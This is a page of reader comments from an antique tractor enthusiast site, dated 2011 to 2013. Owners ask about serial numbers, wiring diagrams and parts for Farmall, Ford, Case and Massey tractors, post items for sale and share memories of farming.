Connie Jeffries wrote on Friday, September 20, 2013 (PDT):My dad s first tractor was a 1941 Case SC, and he s now in the process of - slowly - restoring it. In seven weeks he will turn 90. I am looking for a good picture of a 41 SC with the center-mounted exhaust and lights on the fenders for two purposes. I d like to use the photo for his birthday cake and, as maudlin as it might seem, for his headstone. He had his headstone placed several weeks ago - complete with a picture of a Case tractor. But it s not his tractor because the monument company couldn t find one. He would be very surprised to see his tractor on his birthday cake - and on his headstone. Please contact me if you have a picture or if you have this model tractor and can take a picture.
Dave wrote on Friday, September 20, 2013 (PDT):I have a 1939 Farmall M White Demonstrator with matching serial numbers and was wondering how many of the white demonstrtors were sold
Lois wrote on Thursday, September 12, 2013 (PDT):My husband and I need instructions on how to change out the motor in our 1952 Ford 8N. Any help would be appreciated. Thanks
gary bowen wrote on Tuesday, September 10, 2013 (PDT):I read this on another web site; If an Oil Pull has the old Du4 American bosch mag on, be sure it is safe and has a good winding and good impulse. You could be killed outright with a bad impulse on an old Du4 or a Du2. You can replace these with the new MFR or a MJA-c American Bosch magneto. How can it kill you Thanks gb
Sam wrote on Tuesday, September 10, 2013 (PDT):If someone already has the engine - transmission adapter for a 8N conversion to either a V8 or straight 6, I would like to buy that. 518-637-7913. Thank you.
Sam wrote on Tuesday, September 10, 2013 (PDT):I would like to purchase a 1951 or 1952 converted 8N... either a V8 or a straight 6. My number is 518-637-7913 and I am in NYS.. I can have it shipped here. Thanks.
Dennis wrote on Monday, September 09, 2013 (PDT):Just purchased a 1066. Does anyone have a wiring diagram.
Andy Harris wrote on Saturday, September 07, 2013 (PDT):Does anyone have or know someone who has a cultivator for my John Deere LA tractor. Would like to find one within pickup driving distance from North Idaho. Thanks, Andy
gloria nelson wrote on Friday, September 06, 2013 (PDT):wondering if anyone knows where to put the decals for the hitch warning and the warning for turning sharp at high. I have the rest of the decals placed.
mailpouchbl wrote on Tuesday, September 03, 2013 (PDT):Could you tell me where I can find as wiring diagram for John Deere mt tractor 1952 THANKS
Robert Shattenberg wrote on Monday, September 02, 2013 (PDT):I have an extra 6 cyl flathead motor a funk conversion 8n 1952. email me if interested in the old motor.
Tim wrote on Monday, September 02, 2013 (PDT):I have a 1941 farmall h tractor it was making a clunking noise when the tractor was moving in gear. I took all gears and bearings out of the case inspected them replaced 1 slightly worn pilot bearing, replaced all seals found no broken bearing holders or bad gears. I put it back together and still same noise. Any Ideas Tim
mike mckee wrote on Monday, September 02, 2013 (PDT):I have a 1948 G with hand lift and would like to buy a belly grader blade.I live in Illinois.309-337-9855
josh galland wrote on Thursday, August 29, 2013 (PDT):i have 1953 massey pony i just got.The tag says MASSEY HARISS FERGUSON LIMITED PGA22538.While in the proscees of sandblasting i saw old grey paint under the red someone painted years ago.i was told it was supposed to be gray.Is there anyone who no s if this is true.THANKS
Rich Nelson wrote on Wednesday, August 21, 2013 (PDT):Jack, maybe you ve got your answer as to what serial # you have. You list Ser # 28634---according to IHC records, you would have a year 1928 and probably built in June of that year.
Peggy Dosh wrote on Tuesday, August 20, 2013 (PDT):I have a IH farmall Model B, serial #151724 tractor that I would like to sell. I am a widow for two years and need to sell this tractor. My husband loved this tractor and would like for it to go to someone that like this style of tractor. I am not an expert on tractors but will send picture upon request. Interest parties can call 580-847-2359 between the hours of 5 pm thru 10;00 pm central time. Thanks
Dennis wrote on Sunday, August 18, 2013 (PDT):The farmall m with the s/n 208533 is a 1941
tony wrote on Thursday, August 15, 2013 (PDT):would like to find a wiring diagram and color code for e4 coop
Jerry wrote on Thursday, August 15, 2013 (PDT):By the way, I own a 1954 Fordson Major Diesel. I rebuilt it years ago. Still going strong. If I can keep my dad from swiping it for his place... My tractors bigger than his.
Denny wrote on Wednesday, August 14, 2013 (PDT):It s a long shot,David James you wrote on Tuesday, October 02, 2007 PDT I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable. Make contact mt email -- munga at clear.net.nz cheers
Joe wrote on Monday, August 12, 2013 (PDT):We just purchased a 1950 R. The emblem on the front is missing it has the round one Any suggestions for a good place to find one
Kevin wrote on Saturday, August 03, 2013 (PDT):I am restoring an mm z. Does anyone know how many quarts of hydraulic fluid this tractor takes. It has the square oil reservoir. Thanks.
ksennfTRBO wrote on Friday, August 02, 2013 (PDT):and the offer Jordans 11 Breds for sale
Dennis Rager wrote on Thursday, August 01, 2013 (PDT):Question; What are the part names and numbers that hold a rear, spin out rim in place on a 1956 420 John Deere row crop tractor
EDWARD MARTIN Sr. wrote on Wednesday, July 31, 2013 (PDT):Just Picked up A 1937 Model L . Been in The area For 50 Years. Found it next Door. Been Inside For 15 yrs. Cant Wait To Start
Karen wrote on Tuesday, July 30, 2013 (PDT):Wanting to sell a 1947 Oliver 60 gasoline row crop. I have no idea how much it is worth. I need help Not sure how many implements there are to go with it, but need to know what it is worth..and Yes is does run..
David G.P. wrote on Monday, July 29, 2013 (PDT):George;with the demonstrator cub,is it still for sale,what city state do you have the cub,what is the s/n casting numbers under the back axle.
David G.P. wrote on Monday, July 29, 2013 (PDT):George;with the demonstrator cub,is it still for sale,what city state do you have the cub,what is the s/n casting numbers under the back axle.
Neil wrote on Sunday, July 28, 2013 (PDT):Have a Model 81R Serial#406430.How do I find year of tractor.
Chad Fruit wrote on Friday, July 26, 2013 (PDT):Looking for a belt pulley for my 1922 8-16. Or any information on size to get one made. Also looking for a mag and kerosene / gas tank orginal.
Steve wrote on Monday, July 22, 2013 (PDT):I ve been fortunate enough to care for my friends ranch, over the past year or so as the family deals with the trials of life. My friend, who had to leave our province to secure work, asked me if I could look at their old tractor and perhaps get it running again. The tractor had been parked for nearly thirty years. I agreed, turns out it s a pony, with #40 mower. I tried the engine with the hand crank and it turned freely. I removed the engine cowling and blew out the top of the engine. Removed the plugs, lubricated the cylinders.. Added fuel, one of my tractor batteries, and hotwired the ignition. key was broken off inside the lock she sputtered, fired and ate my battery for breakfast. low charge Charged the battery and returned the following day. She didn t sputter.. didn t fart.. just plain fired right up and purred like a kitten..er.. pony. This prompted me to try the side mower......prompted me to research the side mower.. prompted me to use my brain to figure out that it had been re-connected simply for storage and use.. The tractor is missing some sheet metal sidecovers and battery cover aside from that what an amazing machine.. it drinks gasoline like a survival nut drinks water in the desert. very sparingly I have used all the gears and the pto, today I plan to return to the ranch and re-mount the mower. Lower field is getting really tall and I am in love with the thought of mowing that field. health issues prevented sr. from properly working the ranch Just thought I would add my story so far, to those already here. THANK YOU MH for giving my life yet another amazing experience. post script; I am purchasing this tractor from the family, so that it may remain, on the ranch where it belongs.. back in service, albeit light duty.
robert morris wrote on Sunday, July 21, 2013 (PDT):i just bought a 8n 1952 plan on putting a six cyl in it. i know where one is if the owner will sell it.any one who knows anything about these tractors please call robert morris 931-607-9579
George wrote on Thursday, July 11, 2013 (PDT):I have a 1950 Farmall Cub Demonstrator, white by casting numbers and serial number it is a true Demo. Would like to sell since I ve been in a lot of local parades and shows. Interested let me know.
Cherika Williams wrote on Wednesday, July 10, 2013 (PDT):I know a guy that has three of these tractors. Its quite amazing. Three different years and three different engines. One even has an oiler. We take them to local shows and the attention they grab is astoshing!
Billy wrote on Saturday, July 06, 2013 (PDT):I have a VAIW 4XXXXXX for parts. Any Takers
tom trapp wrote on Wednesday, June 26, 2013 (PDT):I would like to know what a 1919 raw sitting in the shed would be worth
plschaffer wrote on Wednesday, June 26, 2013 (PDT):Oliver OC6 for sale... email me
Rocket wrote on Monday, June 24, 2013 (PDT):Grew up on one I m 60 and remember when I had to stand to operate it
Dick Ogden wrote on Friday, June 21, 2013 (PDT):I have a Parts book and operating directions,for a A C model B . It is in exellent shape we moved a year ago and I found it and would like to sell it. 50.00 .Sold the B 35 years ago.Contact by E-Mail
Dick Ogden wrote on Friday, June 21, 2013 (PDT):I have a Parts book and operating directions,for a A C model B . It is in exellent shape we moved a year ago and I found it and would like to sell it. 50.00 .Sold the B 35 years ago.Contact by E-Mail
Gary Allason wrote on Tuesday, June 18, 2013 (PDT):Peter, Your tracks are coming off because either your bushings, pins or drive sprockets are worn. Probably all three unfortunately. Look at your Sprockets, does the right side of your teeth, if the tooth is at 12 o clock have a larger radius than the left that is the side that drives the crawler forward. if so the sprocket is worn. Try backing up your hill. if the tracks stay on that is because there is less use and thus less wear in reverse over time. Your tracks have a pin and a bushing between each link. Idealy, the bushings take the wear and are replaced before there is damage to the sprockets. once the bushings wear out the sprockets contact the pins and both start to wear, . When that happens all three will need to be replaced. the fact that your tension adjustment won t take the slack out of the tracks points to this condition. if your bushings are just starting to wear through, it is possible to rotate them 180 degrees. but that wont help if the sprockets and pins are worn too. Google CRAWLER TRACKS PINS AND BUSHINGS and your will find a lot of good information. Use Google to find a shop that does pin and bushing replacement. You can find used drive sprockets from repitable parts dealers on line. Avoid the advice of reversing the drive sprockets, swapping sides , if you replace your bushings. It s true that doing that will put the side with less wear on the forward side and will last quite a while. the down side is that if you have put new bushings on it will begin to prematurely wear those out every time you back up. If you can rotate rotate your bushings, you might be OK to swap sprocket sides. Good luck.
wade wrote on Thursday, June 13, 2013 (PDT):i have installed points on my neighbors ford 8n its the new style bc the distributor is a side mount. i ialso installed a ignition coil an im pretty sure that b4 i removede the old one the positive terminal went to the points but just need verification of that any help would be nice i cant seem to get fire to the points. thanks
Harry Jackson wrote on Monday, June 10, 2013 (PDT):I inherited a 1939 AC Model B, and would like to restore it. It isn t in bad shape, it was restored in about 1984, but needs it again, and I intend to do it right.....100%. I would like to eventually use it to mow It has a Wods, 48 belly mower and cultivate, etc. So I am looking for implements to use with it. Any help on restoration products or sources would be greatly appreciated. All I know so far is that it needs the oil bath breather insert replaced, probably a carb, or at least rebuild, and a radiator....
shon wrote on Sunday, June 02, 2013 (PDT):info on a 48 B wiring diagram for 6 volt from generator to all gauges. Thanks.
Susan N Ron wrote on Wednesday, May 29, 2013 (PDT):We just bought a International Harvester tractor and believe it is a 1937 with a narrow front end. We don t know much about tractors, but am confused how Farmall and International Harvester is one and the same Any idea how we can find out its value Thank you in advance.
Don Bradley wrote on Sunday, May 26, 2013 (PDT):I have a 1974 Farmall cub with plow, cultivator, disc, back blade and bushhog. It has the fast hitch and is in good condition. The splines on the pto drive shaft are worn and this needs to be replaced. I am thinking about selling all because I don t use it very much anymore. If you are interested contact me at dbradley46 at cox.net. Asking price is 3500.
John levy, Western Australia. wrote on Saturday, May 25, 2013 (PDT):If anyone is travelling to Western Australia I recommend that they visit the Dardanup Heritage Park south of Perth. There are many types of tractors from Ransomes up to D8s and many in between. All have been completely renovated, painted and in working order. A number of trucks have also been renovated and in working order. They are all under cover in huge sheds and look like new machines.
Brett Bindics wrote on Wednesday, May 22, 2013 (PDT):I have my Dad s 53 ZBU and I would like to paint it with Rustoleum oil paint.Does anybody know the codes for the harvest gold and cherry red
jackie r hodges wrote on Friday, May 17, 2013 (PDT):i have a straight axle wheels to a case tractor on the hub it has case 130 r
Matt wrote on Tuesday, May 14, 2013 (PDT):I have a Farmall A that has always been a workhorse. The governor spring broke, I replaced it and now, it just has no power. The governor speed lever just flys forward, but the power isn t there. What makes the governor speed lever fly forward
sheila wrote on Saturday, May 11, 2013 (PDT):What site can i see online of diagrams of a 1963 560 diesel international tractor.. I need to see a blueprint like diagram of motor mounts for this tractor..
Jack Wilkinson wrote on Sunday, May 05, 2013 (PDT):I acquired a regular that used to belong to my grandparents. wanting to know what year it is, serial #28634
ed wrote on Thursday, May 02, 2013 (PDT):have oliver 60 don t know year needs front and rear tires what size should I put on
JOHN ROBERTS wrote on Wednesday, May 01, 2013 (PDT):I have super major 1964, 220 c.i.d. diesel. This tractor was made 4 years 61-64. agriline and Yesterdays tractors still have parts. I am looking for engine block, short engine, etc. for mine. If you have a tractor, whole or parting out,or just need my source infomation for parts. please email of call. 520 586 2022
John Kattner wrote on Tuesday, April 30, 2013 (PDT):I have a 1943 Case VAC tractor that I can t get started since it ran out of gas last summer 2012 I checked the timing , removed the gas tank and cleaned it out, replaced valve under the gas tank,rebuilt the carburetor,installed new plugs,coil,distributor cap,rotor,points, condensor; replaced line from gas tank to carburetor. What else could be done or replaced to get it to start
JOHN BUTLER wrote on Monday, April 29, 2013 (PDT):Looking for a McCormick Deering B-87 two-way moldboard plow for a 1946 B-Farmall or what ever plow was original equipment for a B , or any type one-bottom trip plow that can be pulled by the drawbar of the B tractor. Call 515-371-1583
Dawn Heck wrote on Saturday, April 27, 2013 (PDT):Hey all, my husband and I just bought a 1955 Oliver Super 77 and it is supposed to be a diesel engine but the previous owner replaced it with a gas. We want to get it back to original and wanted to know where to find a diesel engine to replace the gas. We are new to this but after attending a few antique tractor pulls my husband and I fell in love so this is our new project. Any help would be greatly appreciated.
mark winter wrote on Friday, April 26, 2013 (PDT):what color is the fan suppose to b on a 1945 farmall A
Dave Cambray wrote on Friday, April 26, 2013 (PDT):I have in the uk a 1928 20-30 model w. i would like to know what the correct mag would be and where to get one from and also how i could perhaps trace its history. thank you all in advance.
robert harrison wrote on Friday, April 26, 2013 (PDT):can anyone out there help me i would love to find if the fordson major my grandad bought new just after the second world war still exists,my late father sold it in 1974 in the farm sale when he retired,i belive this tractor was restored for shows some years ago the registration was GAA 822 i look at my dad on a photo driving that tractor which is on the wall in my home,any info would be fantastic,thanks again.
Dave Cambray wrote on Thursday, April 25, 2013 (PDT):I have in the uk a 1928 20-30 model w. i would like to know what the correct mag would be and where to get one from and also how i could perhaps trace its history. thank you all in advance.
EddieBrowder wrote on Monday, April 15, 2013 (PDT):I bought a T20 1935 under carnage great was running 5 years ago. But I need hood grill pallets to make original complete it has wrong parts for what I,need to be original I want to restore this tractor origins. If any one can help email please.
James J Knight wrote on Monday, April 15, 2013 (PDT):I am looking for a backhoe attachment for a Massey Ferguson, MF200 crawler
Doug Hayden wrote on Sunday, April 14, 2013 (PDT):The serial number plate is gone. How can Ifind out the year of my farmall cub
Charles Ellis wrote on Thursday, April 11, 2013 (PDT):I have a M61T now and have had others these tractors run till you forgrt how to fix them. I need parts for this old tractor, mostly generator or electrical, simple things. where do I go for these things
Tom wrote on Tuesday, April 09, 2013 (PDT):I have a nice original R I will sell for 5800.00 runs well great restore or run the way it is.989-550-8228 straight tractor
Kelly Dragoon wrote on Friday, April 05, 2013 (PDT): I was doing some metal detecting at a old homestead and found a badge of some sort. Looks about the size of a belt buckle. Has a picture of a old metal wheeled tractor. says farmall on the tractor and a stamp of mccormick deering and a little more writing that I can t make out. It has three numbers and a letter stamped on it. 998 B. Does anyone know anything about this. Its made of something thats not steel. Magnet won t stick to. Heavy.
Buddy wrote on Monday, March 25, 2013 (PDT):have a 44 massey harris tractor need to know how to pull the brake hub apart. the brake drum it is on tight it was held in by a snap ring. how do you get the drum off to replace the ring gear housing beargings. Thanks
Ken Stephens wrote on Sunday, March 24, 2013 (PDT):I have a 50 z but grew up on a U. Dad said it would burn 40 gal a day or night. Sometimes we would plow all night. What a machine! Had a UTU about 4 years ago but was stolen in Adams ,TN. It was very complete. i would like to think it hasn t been crushed. My nephew stole it. If anyone has knowledge of this I would offer 500 and a good bbq sandwich. Th boy will regret he was ever a part of my family. He gets to deal with both his grandfathers and God over this. the 500 stands good for now. I love reading all these comments as they bring back good memories. I need some tires for the Z I have now. 12.4x38 if anyone has for sale.
Dennis Guilford wrote on Tuesday, March 19, 2013 (PDT):In need of a Clutch Release Bearing Lever for an Oliver Tractor Super 77. It may be known as a clutch Rod. Call 419-542-7881
Robert wrote on Saturday, March 16, 2013 (PDT):Recent purchase was a 1966 International cub tractor. Serial Number 227656J. Looking for information that explains the difference between the farmall cub and the international cub other than color
Jeff Blaney wrote on Monday, March 11, 2013 (PDT):These variants were sold through Waterloo Mfg. of Waterloo Ontario, Canada. They produced steam traction engines but later marketed various American gas tractors in Ontario such as Eagle, Rock Island, and Minneapolis Moline. Early MM models that were marketed included the KTA pictured above , FTA and 27-44.
Randy Lafary wrote on Thursday,Febuary 28,2013 wrote on Thursday, February 28, 2013 (PST): I just purchased a 47 44-6 massey and a 101 senior both have a six cylinder contineals. The 44 looks and runs very nice , and the 101 is a 45, I,m rebuilding it. I love old tractors. vea six cylinder contineals. The44 runs and looks nice,I,m
Mark A. Dotts wrote on Thursday, February 21, 2013 (PST):We have what we believe is a 1928 or 1929 JD GP It has the mechanical lift gearbox, PTO,original PTO driven mowing machine, and water injection. I need info i.e.pictures on the linkage from the mechanical lift to the mowing machine and so on.P.S. the tractor was built in Iowa can t remember the city
George Wheeler wrote on Tuesday, February 19, 2013 (PST):In 1929-1930 the Nation wide advertisement for the Farmall Regular included an original painting. The original painting is hanging in my living room. A good story to go with it.
Paul Fett wrote on Monday, February 18, 2013 (PST): I have a 1953 Case SC wide front, foot clutch serial number SC8031672 which I am in the process of restoring. Just got all the engine parts I needed and will start rebuilding the engine soon. I am waiting to find out if that tractor came new with a mageto or distributor
MAMALIS D COSTANTIN wrote on Wednesday, September 12, 2012 (PDT):Iam 64y/old.I am meccanical ingenier and i am workin till now as director for a big mattalurgical company.But i love tractors because i cam by agricultur fammily.So i start to drive at one massey-harris 44k benzin.On 1955 my father and my ungle left 44k and buy one M-H 745 But make in England.I love old tractors and specialy M-H 44 744 745 55 JOHN DEER B And CASE 500 And 600 because i was living whith those tractors in ours farm in greece when i was young.-
J.D. Helbig wrote on Tuesday, September 11, 2012 (PDT):I have some friends in eastern Oregon that has a Super M D TA Farmall with loader for sale ,,,It may be gone by now
Eamon Tobin wrote on Monday, September 10, 2012 (PDT):I hAve an 1983 Bray Industrial Loader,which has been out of action for the last few years,They have long gone out of Business,but could anyone guide me into getting it up and running again,id really apppreciate all suggestions
nor con wrote on Saturday, September 08, 2012 (PDT):MF 95 WAS A MM GBD, MF SUPER 95 WAS A MM G6, MF 97 WAS A MM 705,MF 97 4X4 WAS A MM 706.HOPE THIS IMFO IS CORRECT , PLEASE COMMENT IF THINK IT S NOT THANKS NORM.
howard wagler wrote on Sunday, September 02, 2012 (PDT):Found a Case 500 diesel. What should I be concerned about
clay walberg wrote on Sunday, September 02, 2012 (PDT):I have 3 farmall regulars, and an f20 for sale. the f20 and 2 of the regulars run. I also have many extra parts, ie. magnetos, carbs, manifolds, radiator, 605-216-7765
Billl Wood wrote on Monday, August 06, 2012 (PDT):My father bought an Oliver 70 Row Crop in the late 1930 s and we used it until 1948 when we quit farming It had four speeds forward and one reverse..had skelton steel wheels on the back and solid steel in front. We also had the Oliver cultivator that were easy to attach and use. No electric start had to crank it. During the war years I spent many hours on it..we could run against the Allis Chalmers, John Deere s and Farmall s, my only complaint was the steel wheels gave a pretty rough ride at times and limited your use of black top and oil roads. All in all I really liked the machine. Does anypone know where I might find pictures cira 1937-38 I would like my children to see what life was like in those days
mark d smith wrote on Tuesday, July 31, 2012 (PDT):need info on case model tractors i think it is a 300 or 400 series
robert bean jr wrote on Saturday, July 28, 2012 (PDT):I would love to talk to someone that knows alot about a farmall A tractor, I got a 1944 farmall A andit ran as new, but i let it run out of gas and it hasn t hit a lick sence, clean gas glass bowl, clean plugs- has blue/white spark, can choke for 3 or 4 rounds and will wey plugs , check compression - 90 to 108 psi....please somebody tell me what is wroung! A Big Thanks...have a bless day
Jim Indelicato wrote on Saturday, July 21, 2012 (PDT):I graduated h. s. in 1961 That sumer Iran a new 830 John deer ,Iam almost sure that it was agas tractor. Since then someone told me that they didn t make a gas 830 I would like to know if I was mistaken. I also think this tractor had a narrow frontend .Please let me Know or better yet send a picture. Thanks
Dwaine wrote on Tuesday, July 10, 2012 (PDT):Hi I own a 1949 cub with belly mower. When I engage the pto it jumps out of gear. I have replaced the pto bearing, pto shaft, pto clutch and pto engaging lever, still jumps out of gear. I would appreicate any suggestions, I am getting really frustated. Thanks
Don DeGroote wrote on Saturday, July 07, 2012 (PDT):I just purchased a 450D. When I was a kid we had one and I thought is was the best thing since sliced bread. the one thing I cannot remember is what weightoil to use int the lower end of the injestion pump.Can anyone help me out. thanks.
gilbert Pargmann wrote on Monday, July 02, 2012 (PDT):I am looking for a differential for a cub tractor and can t find one. All I need is the box. Some bolt thread sockets are broke out and differential is broke out. where can I look
Gilbert Pargmann wrote on Monday, July 02, 2012 (PDT):I have a F20 that has been in a shed these past 20 years. at one time, my father cranked it every week or so and it purred real good. My cousin, thought that it didn t have antifreeze and drained it one night without telling my dad. Then dad comes along and cranks it and let it run until the valves froze in it. Turming the crank is easy and no compression. Did it harm the piston and rings or can I just take off the head and regrind the valves. Everything else is still in good condition and I plan to restore and paint it again if the good Lord lets me live that long. Can anyone help me
steven m. heslop wrote on Wednesday, June 27, 2012 (PDT):i have a 1938 oliver 70 that i pull,i have over-hauled it several times,but the last problem i come across was--very little or no oil pressure.could not understand why..plasti-gauged the rod-bearings,added a different oil pump,and still nothing.then i found a 15 16 plug just under the oli pressure line on the right side of the block and found this is where the pressure is regulated from.i cleaned it all up and added some more spring to it and wa-la,i have oil pressure,cant wait to pull.1-913-609-4473--cell
dennis kemle wrote on Saturday, June 23, 2012 (PDT):i have a 49 8n its tuned up new points, condensor,plugs it starts runs fine but not enough power to keep woods 306-3 finidh mower spinning what could it be i has over 90 psi compression thanks
rex smith wrote on Tuesday, May 29, 2012 (PDT):you can buy most everything for an f-20 tractor, just look at farmall shows all over , they have parts new rebuilt, and aftermarket parts i own four f-20 a 38 and 3 39s
mary harris wrote on Friday, May 25, 2012 (PDT):does anyone know the exact year of this farmall m with serial #FBK208533X1.
mary harris wrote on Friday, May 25, 2012 (PDT):does anyone know the exact year of this farmall m tractor with this serial # FBK208533 let me know asap.
Ray McMullen wrote on Tuesday, May 22, 2012 (PDT):I am looking for a elwood transfer case or parts for 97 massey fergson tractor.
Paulette Fitzgerald wrote on Tuesday, May 15, 2012 (PDT):Hello, we have a TEA 266270 Harry Fergussen about 1950. It was my brother in law s and he used it regularly up until a couple of years ago. Does anyone know what it would be worth We are looking to sell it. Thanks
OSSIE FARGHER wrote on Monday, May 14, 2012 (PDT):CAN YOU TELL ME THE CAPACITY AND TYPE OF OIL FOR THE TRANSMISSION FOR B, ALSO THE TYPE OF CARBURATOR FOR A PETROL ENGINE, AND THE AVAILABILITY AND COST OF A 12VOLT STARTER MOTOR
Dick Curwin wrote on Monday, May 14, 2012 (PDT):My Mongomery Ward General by Avery/Cletrac stopped running. Investigation showed BOTH contact points had become seperated and were laying on the bottem of the Mag. Do I need a new mag or will new points solve it.
jonathan Shenian wrote on Monday, May 14, 2012 (PDT):i am looking at a F-12 for sale it is in good shape it has the single rubber tire in the front steel in the rear the guy said it ran 5 years ago but i cannot turn it over with the crank not sure if it would free up with some penetrating fluid or if would have to come apart of course i woul have to plan on taking it apart if i did not then i got lucky but he wanted 2500 since it wont turn over he wants 2000 i think that is too much am i correct
Bob Loesch wrote on Saturday, May 05, 2012 (PDT):how do I get hold of people on this site was interested in manual who had some 8-16 parts
Farmer bill wrote on Monday, April 30, 2012 (PDT):Need a wiring diagram for wd. anyone
Tim wrote on Sunday, April 29, 2012 (PDT):How can I tell if the clutch is goin out I have no problem puting it in to any gear but it doesnt hardly move at all. I was curious to know if I may be just missing something simple or if there is a clutch adjustment that I could make It runs great but has no power in any gear. As I said in the above it will barely move in 1st gear and in Reverse but does nothing in 2nd , 3rd or 4th gear. I would greatly appreciate some advice.
Weeks wrote on Saturday, April 28, 2012 (PDT):You got a gem there. My uncle floyd estate sold his 30-50 for 20K and that was about 20 years ago. I suppose there s a limited market but would be interested in what you find and get. good luck!
Sharon Durham wrote on Friday, April 20, 2012 (PDT):I am Sharon Durham an i am in Illinois. I need these parts where can i find them or does any one have any of theses parts. Re wheel castings with tires an rims or with out please contact me at 309 275-9474 an i work for a farmer his name is Beefy.
Sharon Durham wrote on Friday, April 20, 2012 (PDT):I am Sharon Durham an i am in Illinois. I need these parts where can i find them or does any one have any of theses parts. Re wheel castings with tires an rims or with out please contact me at 309 275-9474 an i work for a farmer his name is Beefy.
dale wrote on Tuesday, April 10, 2012 (PDT):I just bought a farmall b tractor and drained the fluid in the transmission Iwould like to know how much fluid to put back in it and where to check the fluid level
Jim wrote on Tuesday, April 03, 2012 (PDT):I have a 1942 Lindeman crawler, runs. Need someone to give me a price.
Neil Billger wrote on Saturday, March 24, 2012 (PDT):My uncle has a international cub LoBoy that he bought in 1952, at that time it was 4 years old. he would like to sell it. It runs well and has about 90% of it s orginal parts on it the serial # is 7037. could you possible give me a ball park figure for this tractor It s has been garage kept for all it s years.
Peggy Eiler wrote on Sunday, March 11, 2012 (PDT):I am in search of an electric starter for a Farmall F-20. Can anyone please help me locate or know of a source to contact Thank-you
shawn wrote on Friday, March 09, 2012 (PST):Hi all, wondering if anyone could help me out.My dad has a 1942 massey #81 row crop,it has a mechnical lift for the tractor mounted cultivators.Has anyone seen one of these,are they rare Thanks
joel kallman wrote on Wednesday, March 07, 2012 (PST):I have a 1956 case model 401 deisel good runner that I would to sell or trade,pictures available,looking for a smaller tractor that I can use in the woods with front loader.
John MacEwan wrote on Tuesday, March 06, 2012 (PST):I m helping my employer get her 8N running. No spark and compression is not that great. Any ideas It was converted to 12 volt and I am going to try a new coil and resistor. Is there anything else that I should look at The points are making and breaking and there is 12volts at the coil. Thanks in advance. She says it is a 1934 but I am going to look for the SN.
Chip Sneed wrote on Sunday, March 04, 2012 (PST):I grew up on a cotton farm in Green Lake, Texas and Daddy bought a new MM in 1953 or 1954. I spent many years working the tractor but can t remember the model. It had the high steering wheel with the trottle to the right of the steering wheel.. Also the high seat. Single front wheel. He bought it at a dealership in Austwell, Texas. I would love to identify the model and find and restore one. Looking for identification sources. Thanks.
Don Franklin wrote on Saturday, February 25, 2012 (PST):I am looking for culivator for g model AC year unknown but is manually let up and down by lift arm. If anyone knows where I might find a set I would appreciate the contact.Thank you
Roland Bronson wrote on Thursday, February 23, 2012 (PST):looking for the dept control lever that goes with a farmall cub 189 two way plow plus the dog bones and the rock shaft L, have all the other parts I,am located in northern N.H. call 603 444 5044.
Roland Bronson wrote on Thursday, February 23, 2012 (PST):looking for the dept control lever that goes with a farmall cub 189 two way plow plus the dog bones and the rock shaft L, have all the other parts I,am located in northern N.H. call 603 444 50o44.
jeff m johnson wrote on Saturday, February 18, 2012 (PST):hi i have 2 case tractors,, 1 is a case sc-4,, serial #8040559 with a wide front eagle hitch, foot clutch... 2 is a case sc,, serial # 5613924 ,, narrow front, eagle hitch,, hand clutch,, how do you read the serial numbers,, yr,, month ,,date, what number it was on the line thanks for your help...
debbie wrote on Thursday, February 16, 2012 (PST):I have a farmall m series and I would like to find out how old it when it was built and who built it the serial number is 147186-x1 model is m fbk and the rpm is 595 can anyone help.
Bill Taylor wrote on Tuesday, February 14, 2012 (PST):I m beginning restoration on my grandfather s 1927 Farmall Regular. Any idea where to obtain a REPAIR manual I have Parts one. , and/or the 3-bolt carb.
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
Sam wrote on Sunday, January 22, 2012 (PST):My first tractor was a Super MD. The dealer unloaded it and left the operators manual on the kitchen table. Dad didnt know a thing about it, so I sat down and read the manual for a bit, the went out to try it. I will never forget pushing the lever to the gas side, starting it up, and letting it run a bit. When I pulled the lever back and heard the unmistakable crack of that Diesel take off, I was in love! I loved that tractor, it did a good job on a 4 row front mount #461 cultivator, or a 4 14s 370 plow. I used it for almost everything I had to do. We had a M5 Moline gas that was a slug compared to my Farmall. I could outwork the Moline and use less fuel, and had that distinct crack of the diesel to listen to. And smoke! The governer would kick in and the stack poured out thick black smoke. Made the neighbor kids jealous. I had a DIESEL!
Bill McKenna wrote on Monday, January 16, 2012 (PST):Help! My Massey Harris model #81S built in 1946 needs some help. I have used Hercules to plow the snow from my 600 foot driveway for the last ten years with no problems except he doesn t like to start when it s double digits below zero, censius . Yesterday he tried to start on the first turn over but sputtered to a stop. When I tried a second time, the starting motor made that whirring sound but would not engage. I gently rocked the engine back and forth while in neutral using a cooling fan blade and tried again with no luck. I have tried to remove the starting motor however, something inside the bell housing seems to be stopping me from removing the starter so that I can examine it more closely. My mechanic warned me to be careful or I could end up with a real mess. Any suggestions would be appreciated; there s a big snow storm coming on Thursday. Oh, we are way up here in Northern Ontario, Canada. Bill McKenna
Geeorge Q wrote on Thursday, January 05, 2012 (PST):I have a 44 and the guy I bought it from has a lot of old tractors for sale
ART FULTON wrote on Tuesday, January 03, 2012 (PST):ON MY F20 I JUST INSTLED A HISTLER TRANMISION DOES ANY ONE HAVE A MANUAL THANKS
Mel wrote on Sunday, January 01, 2012 (PST):I have a couple questions about the ZB Mineapolis tractor. How do you set it up for stock tractor pulling What s a good weight class to pull it in If you add weights, where do you suggest they go About what horse power do they have
Kee Moores wrote on Monday, December 26, 2011 (PST):I have a MH 44 we have had it since it was new barn kept. I was my grand dad, my dads and I guess it s time to sell it. I parked it 2 yrs ago and now it s just in the way. It is in very good shape. Every thing is intact . Please give me some direction as how or where to list it.
Wayne Brocklebank wrote on Saturday, December 24, 2011 (PST):I have a 1956 Massey Harris model 444 tractor. For the live PTO clutch I need the 12 springs called spring, pressure . These springs are a coil spring about 1 and 1/4 inches high and about an inch in diameter. The part number I have is 1005518M1. The 444 Massey Harris makes a live PTO by putting a clutch on the right axle going to the right rear wheel. The clutch is located out side the transmission/differential housing, under the floor board on the right side of the tractor behind the brake pedals. It has absolutely no connection and is not in any way related to the main clutch of the tractor on the back of the motor. You can also contact me at phone number 519-881-2168 or 480-525-1332. Thanks
